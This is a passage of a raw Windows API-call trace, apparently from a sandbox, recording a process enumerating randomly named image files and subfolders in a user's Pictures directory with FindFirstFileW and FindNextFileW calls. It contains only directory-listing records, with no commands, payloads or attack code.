ftLastWriteTime.dwLowDateTime=0xbd7ec4c0, ftLastWriteTime.dwHighDateTime=0x1d9ac16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.398] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8065230, ftCreationTime.dwHighDateTime=0x1d9b30f, ftLastAccessTime.dwLowDateTime=0x9eaad370, ftLastAccessTime.dwHighDateTime=0x1d9b4a1, ftLastWriteTime.dwLowDateTime=0x9eaad370, ftLastWriteTime.dwHighDateTime=0x1d9b4a1, nFileSizeHigh=0x0, nFileSizeLow=0xb897, dwReserved0=0x0, dwReserved1=0x0, cFileName="2ObbbR.gif", cAlternateFileName="")) returned 1 [0212.399] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e7690, ftCreationTime.dwHighDateTime=0x1d9b040, ftLastAccessTime.dwLowDateTime=0x96d088c0, ftLastAccessTime.dwHighDateTime=0x1d9b235, ftLastWriteTime.dwLowDateTime=0x96d088c0, ftLastWriteTime.dwHighDateTime=0x1d9b235, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LDhCRBYa", cAlternateFileName="")) returned 1 [0212.399] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc25426f0, ftCreationTime.dwHighDateTime=0x1d9a6fa, ftLastAccessTime.dwLowDateTime=0x6d9dbc50, ftLastAccessTime.dwHighDateTime=0x1d9b444, ftLastWriteTime.dwLowDateTime=0x6d9dbc50, ftLastWriteTime.dwHighDateTime=0x1d9b444, nFileSizeHigh=0x0, nFileSizeLow=0x145b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="oONumy5b7QMNw2VJH.bmp", cAlternateFileName="OONUMY~1.BMP")) returned 1 [0212.399] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb20b10, ftCreationTime.dwHighDateTime=0x1d9adda, ftLastAccessTime.dwLowDateTime=0x5e6644b0, ftLastAccessTime.dwHighDateTime=0x1d9b0b5, ftLastWriteTime.dwLowDateTime=0x5e6644b0, ftLastWriteTime.dwHighDateTime=0x1d9b0b5, nFileSizeHigh=0x0, nFileSizeLow=0xa30c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pb2rYk 8iIFHjRj.bmp", cAlternateFileName="PB2RYK~1.BMP")) returned 1 [0212.399] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ec330, ftCreationTime.dwHighDateTime=0x1d9afaa, ftLastAccessTime.dwLowDateTime=0x102f5f40, ftLastAccessTime.dwHighDateTime=0x1d9b18f, ftLastWriteTime.dwLowDateTime=0x102f5f40, ftLastWriteTime.dwHighDateTime=0x1d9b18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SRJ9Ne-hDdtaLR7u9dAF", cAlternateFileName="SRJ9NE~1")) returned 1 [0212.400] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8d04700, ftCreationTime.dwHighDateTime=0x1d9ab22, ftLastAccessTime.dwLowDateTime=0x9a14ada0, ftLastAccessTime.dwHighDateTime=0x1d9b07c, ftLastWriteTime.dwLowDateTime=0x9a14ada0, ftLastWriteTime.dwHighDateTime=0x1d9b07c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAk42iKXy1dx", cAlternateFileName="YAK42I~1")) returned 1 [0212.400] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8d04700, ftCreationTime.dwHighDateTime=0x1d9ab22, ftLastAccessTime.dwLowDateTime=0x9a14ada0, ftLastAccessTime.dwHighDateTime=0x1d9b07c, ftLastWriteTime.dwLowDateTime=0x9a14ada0, ftLastWriteTime.dwHighDateTime=0x1d9b07c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAk42iKXy1dx", cAlternateFileName="YAK42I~1")) returned 0 [0212.400] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0212.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0212.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0212.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0212.400] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf", lpFilePart=0x0) returned 0x26 [0212.400] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b44c630, ftCreationTime.dwHighDateTime=0x1d9ab46, ftLastAccessTime.dwLowDateTime=0xbd7ec4c0, ftLastAccessTime.dwHighDateTime=0x1d9ac16, ftLastWriteTime.dwLowDateTime=0xbd7ec4c0, ftLastWriteTime.dwHighDateTime=0x1d9ac16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0212.401] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b44c630, ftCreationTime.dwHighDateTime=0x1d9ab46, ftLastAccessTime.dwLowDateTime=0xbd7ec4c0, ftLastAccessTime.dwHighDateTime=0x1d9ac16, ftLastWriteTime.dwLowDateTime=0xbd7ec4c0, ftLastWriteTime.dwHighDateTime=0x1d9ac16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.401] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8065230, ftCreationTime.dwHighDateTime=0x1d9b30f, ftLastAccessTime.dwLowDateTime=0x9eaad370, ftLastAccessTime.dwHighDateTime=0x1d9b4a1, ftLastWriteTime.dwLowDateTime=0x9eaad370, ftLastWriteTime.dwHighDateTime=0x1d9b4a1, nFileSizeHigh=0x0, nFileSizeLow=0xb897, dwReserved0=0x0, dwReserved1=0x0, cFileName="2ObbbR.gif", cAlternateFileName="")) returned 1 [0212.401] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e7690, ftCreationTime.dwHighDateTime=0x1d9b040, ftLastAccessTime.dwLowDateTime=0x96d088c0, ftLastAccessTime.dwHighDateTime=0x1d9b235, ftLastWriteTime.dwLowDateTime=0x96d088c0, ftLastWriteTime.dwHighDateTime=0x1d9b235, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LDhCRBYa", cAlternateFileName="")) returned 1 [0212.401] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc25426f0, ftCreationTime.dwHighDateTime=0x1d9a6fa, ftLastAccessTime.dwLowDateTime=0x6d9dbc50, ftLastAccessTime.dwHighDateTime=0x1d9b444, ftLastWriteTime.dwLowDateTime=0x6d9dbc50, ftLastWriteTime.dwHighDateTime=0x1d9b444, nFileSizeHigh=0x0, nFileSizeLow=0x145b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="oONumy5b7QMNw2VJH.bmp", cAlternateFileName="OONUMY~1.BMP")) returned 1 [0212.402] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb20b10, ftCreationTime.dwHighDateTime=0x1d9adda, ftLastAccessTime.dwLowDateTime=0x5e6644b0, ftLastAccessTime.dwHighDateTime=0x1d9b0b5, ftLastWriteTime.dwLowDateTime=0x5e6644b0, ftLastWriteTime.dwHighDateTime=0x1d9b0b5, nFileSizeHigh=0x0, nFileSizeLow=0xa30c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pb2rYk 8iIFHjRj.bmp", cAlternateFileName="PB2RYK~1.BMP")) returned 1 [0212.402] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ec330, ftCreationTime.dwHighDateTime=0x1d9afaa, ftLastAccessTime.dwLowDateTime=0x102f5f40, ftLastAccessTime.dwHighDateTime=0x1d9b18f, ftLastWriteTime.dwLowDateTime=0x102f5f40, ftLastWriteTime.dwHighDateTime=0x1d9b18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SRJ9Ne-hDdtaLR7u9dAF", cAlternateFileName="SRJ9NE~1")) returned 1 [0212.402] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8d04700, ftCreationTime.dwHighDateTime=0x1d9ab22, ftLastAccessTime.dwLowDateTime=0x9a14ada0, ftLastAccessTime.dwHighDateTime=0x1d9b07c, ftLastWriteTime.dwLowDateTime=0x9a14ada0, ftLastWriteTime.dwHighDateTime=0x1d9b07c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAk42iKXy1dx", cAlternateFileName="YAK42I~1")) returned 1 [0212.402] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.402] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0212.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0212.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0212.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0212.403] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\LDhCRBYa", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\LDhCRBYa", lpFilePart=0x0) returned 0x2f [0212.403] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\LDhCRBYa\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\ldhcrbya\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e7690, ftCreationTime.dwHighDateTime=0x1d9b040, ftLastAccessTime.dwLowDateTime=0x96d088c0, ftLastAccessTime.dwHighDateTime=0x1d9b235, ftLastWriteTime.dwLowDateTime=0x96d088c0, ftLastWriteTime.dwHighDateTime=0x1d9b235, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0212.403] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e7690, ftCreationTime.dwHighDateTime=0x1d9b040, ftLastAccessTime.dwLowDateTime=0x96d088c0, ftLastAccessTime.dwHighDateTime=0x1d9b235, ftLastWriteTime.dwLowDateTime=0x96d088c0, ftLastWriteTime.dwHighDateTime=0x1d9b235, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.404] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16615a80, ftCreationTime.dwHighDateTime=0x1d9a53c, ftLastAccessTime.dwLowDateTime=0xddbd3cb0, ftLastAccessTime.dwHighDateTime=0x1d9b0eb, ftLastWriteTime.dwLowDateTime=0xddbd3cb0, ftLastWriteTime.dwHighDateTime=0x1d9b0eb, nFileSizeHigh=0x0, nFileSizeLow=0x11230, dwReserved0=0x0, dwReserved1=0x0, cFileName="6BvH.bmp", cAlternateFileName="")) returned 1 [0212.404] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f935110, ftCreationTime.dwHighDateTime=0x1d9b4e9, ftLastAccessTime.dwLowDateTime=0xfec61db0, ftLastAccessTime.dwHighDateTime=0x1d9b509, ftLastWriteTime.dwLowDateTime=0xfec61db0, ftLastWriteTime.dwHighDateTime=0x1d9b509, nFileSizeHigh=0x0, nFileSizeLow=0xa31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="vSycJF.gif", cAlternateFileName="")) returned 1 [0212.404] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.404] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0212.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0212.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0212.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0212.404] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\LDhCRBYa", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\LDhCRBYa", lpFilePart=0x0) returned 0x2f [0212.404] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\LDhCRBYa\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\ldhcrbya\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e7690, ftCreationTime.dwHighDateTime=0x1d9b040, ftLastAccessTime.dwLowDateTime=0x96d088c0, ftLastAccessTime.dwHighDateTime=0x1d9b235, ftLastWriteTime.dwLowDateTime=0x96d088c0, ftLastWriteTime.dwHighDateTime=0x1d9b235, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0212.405] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e7690, ftCreationTime.dwHighDateTime=0x1d9b040, ftLastAccessTime.dwLowDateTime=0x96d088c0, ftLastAccessTime.dwHighDateTime=0x1d9b235, ftLastWriteTime.dwLowDateTime=0x96d088c0, ftLastWriteTime.dwHighDateTime=0x1d9b235, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.405] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16615a80, ftCreationTime.dwHighDateTime=0x1d9a53c, ftLastAccessTime.dwLowDateTime=0xddbd3cb0, ftLastAccessTime.dwHighDateTime=0x1d9b0eb, ftLastWriteTime.dwLowDateTime=0xddbd3cb0, ftLastWriteTime.dwHighDateTime=0x1d9b0eb, nFileSizeHigh=0x0, nFileSizeLow=0x11230, dwReserved0=0x0, dwReserved1=0x0, cFileName="6BvH.bmp", cAlternateFileName="")) returned 1 [0212.406] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f935110, ftCreationTime.dwHighDateTime=0x1d9b4e9, ftLastAccessTime.dwLowDateTime=0xfec61db0, ftLastAccessTime.dwHighDateTime=0x1d9b509, ftLastWriteTime.dwLowDateTime=0xfec61db0, ftLastWriteTime.dwHighDateTime=0x1d9b509, nFileSizeHigh=0x0, nFileSizeLow=0xa31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="vSycJF.gif", cAlternateFileName="")) returned 1 [0212.406] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f935110, ftCreationTime.dwHighDateTime=0x1d9b4e9, ftLastAccessTime.dwLowDateTime=0xfec61db0, ftLastAccessTime.dwHighDateTime=0x1d9b509, ftLastWriteTime.dwLowDateTime=0xfec61db0, ftLastWriteTime.dwHighDateTime=0x1d9b509, nFileSizeHigh=0x0, nFileSizeLow=0xa31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="vSycJF.gif", cAlternateFileName="")) returned 0 [0212.406] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0212.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0212.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0212.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0212.406] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF", lpFilePart=0x0) returned 0x3b [0212.406] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\srj9ne-hddtalr7u9daf\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ec330, ftCreationTime.dwHighDateTime=0x1d9afaa, ftLastAccessTime.dwLowDateTime=0x102f5f40, ftLastAccessTime.dwHighDateTime=0x1d9b18f, ftLastWriteTime.dwLowDateTime=0x102f5f40, ftLastWriteTime.dwHighDateTime=0x1d9b18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0212.407] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ec330, ftCreationTime.dwHighDateTime=0x1d9afaa, ftLastAccessTime.dwLowDateTime=0x102f5f40, ftLastAccessTime.dwHighDateTime=0x1d9b18f, ftLastWriteTime.dwLowDateTime=0x102f5f40, ftLastWriteTime.dwHighDateTime=0x1d9b18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.407] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f80cab0, ftCreationTime.dwHighDateTime=0x1d9ac48, ftLastAccessTime.dwLowDateTime=0x8e35c730, ftLastAccessTime.dwHighDateTime=0x1d9aeab, ftLastWriteTime.dwLowDateTime=0x8e35c730, ftLastWriteTime.dwHighDateTime=0x1d9aeab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Gee2JkDTOLmlSYqtow3", cAlternateFileName="9GEE2J~1")) returned 1 [0212.407] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190bdc00, ftCreationTime.dwHighDateTime=0x1d9affb, ftLastAccessTime.dwLowDateTime=0xe47f97b0, ftLastAccessTime.dwHighDateTime=0x1d9b2a7, ftLastWriteTime.dwLowDateTime=0xe47f97b0, ftLastWriteTime.dwHighDateTime=0x1d9b2a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C-Bk2i6P", cAlternateFileName="")) returned 1 [0212.407] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b163b0, ftCreationTime.dwHighDateTime=0x1d9b044, ftLastAccessTime.dwLowDateTime=0x273a77d0, ftLastAccessTime.dwHighDateTime=0x1d9b48a, ftLastWriteTime.dwLowDateTime=0x273a77d0, ftLastWriteTime.dwHighDateTime=0x1d9b48a, nFileSizeHigh=0x0, nFileSizeLow=0x15975, dwReserved0=0x0, dwReserved1=0x0, cFileName="J3pcm1kpS.png", cAlternateFileName="J3PCM1~1.PNG")) returned 1 [0212.408] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a61d7b0, ftCreationTime.dwHighDateTime=0x1d9b51a, ftLastAccessTime.dwLowDateTime=0x4a37c490, ftLastAccessTime.dwHighDateTime=0x1d9b520, ftLastWriteTime.dwLowDateTime=0x4a37c490, ftLastWriteTime.dwHighDateTime=0x1d9b520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wafQle_PURcz7xSfrM", cAlternateFileName="WAFQLE~1")) returned 1 [0212.408] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8c7340, ftCreationTime.dwHighDateTime=0x1d9b331, ftLastAccessTime.dwLowDateTime=0xc5d59240, ftLastAccessTime.dwHighDateTime=0x1d9b33f, ftLastWriteTime.dwLowDateTime=0xc5d59240, ftLastWriteTime.dwHighDateTime=0x1d9b33f, nFileSizeHigh=0x0, nFileSizeLow=0x557e, dwReserved0=0x0, dwReserved1=0x0, cFileName="zGCYkK_B.jpg", cAlternateFileName="")) returned 1 [0212.408] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.408] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0212.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0212.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0212.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0212.408] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF", lpFilePart=0x0) returned 0x3b [0212.409] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\SRJ9Ne-hDdtaLR7u9dAF\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\srj9ne-hddtalr7u9daf\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ec330, ftCreationTime.dwHighDateTime=0x1d9afaa, ftLastAccessTime.dwLowDateTime=0x102f5f40, ftLastAccessTime.dwHighDateTime=0x1d9b18f, ftLastWriteTime.dwLowDateTime=0x102f5f40, ftLastWriteTime.dwHighDateTime=0x1d9b18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0212.409] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ec330, ftCreationTime.dwHighDateTime=0x1d9afaa, ftLastAccessTime.dwLowDateTime=0x102f5f40, ftLastAccessTime.dwHighDateTime=0x1d9b18f, ftLastWriteTime.dwLowDateTime=0x102f5f40, ftLastWriteTime.dwHighDateTime=0x1d9b18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.409] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f80cab0, ftCreationTime.dwHighDateTime=0x1d9ac48, ftLastAccessTime.dwLowDateTime=0x8e35c730, ftLastAccessTime.dwHighDateTime=0x1d9aeab, ftLastWriteTime.dwLowDateTime=0x8e35c730, ftLastWriteTime.dwHighDateTime=0x1d9aeab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Gee2JkDTOLmlSYqtow3", cAlternateFileName="9GEE2J~1")) returned 1 [0212.409] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190bdc00, ftCreationTime.dwHighDateTime=0x1d9affb, ftLastAccessTime.dwLowDateTime=0xe47f97b0, ftLastAccessTime.dwHighDateTime=0x1d9b2a7, ftLastWriteTime.dwLowDateTime=0xe47f97b0, ftLastWriteTime.dwHighDateTime=0x1d9b2a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C-Bk2i6P", cAlternateFileName="")) returned 1 [0212.409] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: 